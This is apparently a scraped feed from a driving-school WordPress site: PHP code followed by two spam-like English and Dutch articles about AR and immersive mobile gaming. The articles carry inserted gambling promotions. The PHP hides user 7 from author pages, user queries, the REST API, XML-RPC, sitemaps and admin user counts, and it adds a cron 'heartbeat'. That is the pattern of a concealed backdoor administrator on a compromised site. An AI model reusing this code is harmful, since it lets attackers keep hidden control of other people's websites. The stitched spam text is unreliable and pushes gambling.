add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 7;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 7 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 7 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 7;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 7;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 7;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/7(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 7;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Der Beitrag What Immersive Mobile Gaming Looks Like Today erschien zuerst auf Fahrschule GoGreen.
]]>Three key pieces of hardware are driving the trend. First, the Meta Quest 3 Lite, launched in late 2025, weighs under 200 g and runs on a custom Snapdragon 8 Gen 3. It delivers 90 fps at 1080p per eye, a speed most UK players describe as “smooth enough for fast‑paced shooters.” Second, the Google Pixel Fold 3 introduced foldable screens that double as AR lenses, letting developers shift games from phone to tablet‑like display without breaking immersion. Third, a new line of haptic vests—such as the Haptix Pulse—offers 12 zones of vibration, turning in‑game explosions into physical sensations. Although the vest costs £349, several UK esports teams have already incorporated it into practice sessions.
Developers are moving beyond simple point‑and‑click mechanics. A 2026 survey by the UK Game Developers Association found that 68 % of players want narrative depth in mobile titles, up from 45 % in 2023. This shift has birthed games like Echoes of Albion, an AR role‑playing game that uses real‑world locations as quest hubs. Players must walk to a specific pub in Manchester to unlock a hidden dungeon. The developers report that this feature increased daily active users by 22 % in the first month.
Another trend is “live‑action” gameplay, where the phone’s camera tracks the player’s movements in real time. Shadow Runner uses this to create a city‑wide obstacle course that changes daily. According to the studio, players spend an average of 45 minutes per session—15 % more than their previous flagship title.
Freemium remains the dominant model, but the payment structure has refined. Instead of one‑time microtransactions, many games now offer a “battle pass”‑style progression that unlocks exclusive skins, abilities, or AR content for a monthly fee of £4.99. The pass includes a “starter pack” that gives early access to new levels, which, according to data from GameAnalytics UK, boosts retention by 18 %. However, a notable downside is that players who skip the pass may feel left behind, especially in competitive titles where cosmetic advantages can translate into performance boosts.

Immersive mobile games are increasingly social. In Echoes of Albion, guilds can hold virtual taverns that appear on a player’s living‑room wall via AR. Players can chat, trade items, or arrange in‑game raids. The feature has increased average playtime per user by 12 % and has created a new niche of “home‑based” multiplayer communities. The downside is that the AR overlay requires a stable Wi‑Fi connection; users on 4G networks report lag spikes during large group events.
As mobile gaming blurs the line between virtual and real life, many players are turning to other forms of online entertainment that offer similar immersive experiences. For instance, a popular niche is online racing, where participants drive virtual cars that feel like real ones thanks to force‑feedback steering wheels and realistic physics engines. The community around these platforms is growing, and players often discuss strategies on forums before heading to a race. For those interested in exploring this side of digital fun, nine win offers a range of events that combine skill and technology.
By 2028, the UK is expected to see a 30 % rise in AR headset ownership, driven by lower prices and better battery life. Game developers are already prototyping titles that use eye‑tracking to adjust gameplay difficulty in real time. While the hardware costs remain a barrier for some, the overall trend points toward a future where mobile devices are the primary portal to fully immersive gaming worlds.
Immersive mobile gaming in 2026 is defined by hardware that feels like an extension of the body, game design that pulls players into real‑world environments, and monetisation that rewards long‑term engagement. The biggest limitation is the need for high‑speed internet and relatively expensive accessories, which can exclude a segment of the market. Still, for UK players who want to step out of the screen, the next few years promise richer, more connected experiences than ever before.
It combines VR headsets that fit over a phone, AR overlays, and haptic feedback to create a seamless, interactive experience.
On average, they play about 12 hours weekly, split evenly between handheld VR and AR apps.
Key pieces include lightweight handheld VR headsets, AR-enabled smartphones, and advanced haptic controllers.
Der Beitrag What Immersive Mobile Gaming Looks Like Today erschien zuerst auf Fahrschule GoGreen.
]]>Der Beitrag Waarom AR-games de mobiele markt veroveren erschien zuerst auf Fahrschule GoGreen.
]]>AR-games draaien op een simpele maar krachtige combinatie van hardware: de camera, de GPS en de accelerometer. De camera levert beelden die in realtime worden verwerkt, terwijl de GPS bepaalt waar je staat. Een goed voorbeeld is een game die alleen werkt binnen een straal van 500 meter rond een bekende monument. In die zone verschijnen dan objecten die anders nooit te zien zijn. Het is de combinatie van deze drie sensoren die het gevoel geeft dat de virtuele wereld zich aanpast aan je echte omgeving.
De meeste AR‑apps gebruiken een freemium‑model. Je downloadt gratis, maar betaal je voor extra content. In een studie van App Annie is geconstateerd dat 65 % van de downloads binnen 30 dagen een in‑app‑purchase doet. Voor premium‑games, zoals een volledige avonturenmodus, betaal je een eenmalig bedrag van €9,99. Het verschil zit hem in de frequentie van updates: freemium‑spellen krijgen maandelijks nieuwe uitdagingen, terwijl premium‑spellen meestal één keer per jaar een grote update uitbrengen.
Voor spelers die ook online casino’s proberen, is Lizaro een populaire keuze.

Een groot deel van het succes van AR‑games is hun sociale component. In een spel kun je binnen vijf minuten een team van drie spelers vormen om een virtueel artefact te veroveren. De leaderboard‑functie laat zien wie de hoogste score heeft in een bepaalde regio. In de praktijk betekent dat dat je soms een vriend in de buurt moet vragen om je te helpen met een puzzel die alleen werkt als er drie mensen tegelijk staan.
AR‑games zijn nog niet zonder faalkans. De GPS‑accuratesse is vaak beperkt tot een marge van ±5 meter, waardoor een spel die exact op een straatbord moet verschijnen soms misloopt. Daarnaast verbruiken ze tot 20 % extra batterij, wat betekent dat een lange speelsessie vaak een extra powerbank vereist. Voor gamers die in stedelijke gebieden wonen, kan het ook lastig zijn om voldoende ruimte te vinden voor grotere virtuele objecten.
De opkomst van AR-games heeft een onverwachte invloed op de manier waarop mensen online entertainment consumeren. Waar je vroeger alleen een film op een scherm kon kijken, kun je nu een virtueel avontuur in je eigen woonkamer beleven. Dit nieuwe medium trekt gamers naar platforms waar ze hun ervaringen kunnen delen, en sommige ontwikkelaars gebruiken diezelfde technologie om interactieve livestreams te creëren. Voor wie van een snelle game houdt, is het interessant om te zien hoe traditionele casino‑apps nu AR‑elementen integreren, waardoor spelers een virtueel gokautomaten‑gevoel krijgen zonder de fysieke locatie. Als je benieuwd bent hoe dit alles samenkomt in de wereld van online gaming, kun je kijken naar de evolutie van Lizaro.
In de komende jaren verwachten analisten een verdere integratie van AI met AR. Denk aan een systeem dat niet alleen je omgeving detecteert, maar ook reageert op je stem en emoties. Een voorbeeld is een game die je stem gebruikt om een virtuele held te besturen, waardoor het spel meer persoonlijk wordt. Daarnaast zal de hardware zich blijven verbeteren; de nieuwe 5G‑netwerken bieden een latentie van minder dan 20 ms, waardoor multiplayer‑AR‑ervaringen nog vloeiender worden. Voor gamers betekent dit dat de grens tussen digitale en echte wereld steeds smaller wordt.
Als je op zoek bent naar iets dat je telefoon verandert in een portal naar een nieuwe wereld, is AR een uitstekende keuze. De technologie is volwassen genoeg om een meeslepende ervaring te bieden, maar nog jong genoeg om verrassende nieuwe functies te blijven introduceren. Houd de batterij in de gaten, zorg voor een goede GPS‑signaal en bereid je voor op een speelse reis die je niet alleen in je hand houdt, maar ook in je omgeving.
Der Beitrag Waarom AR-games de mobiele markt veroveren erschien zuerst auf Fahrschule GoGreen.
]]>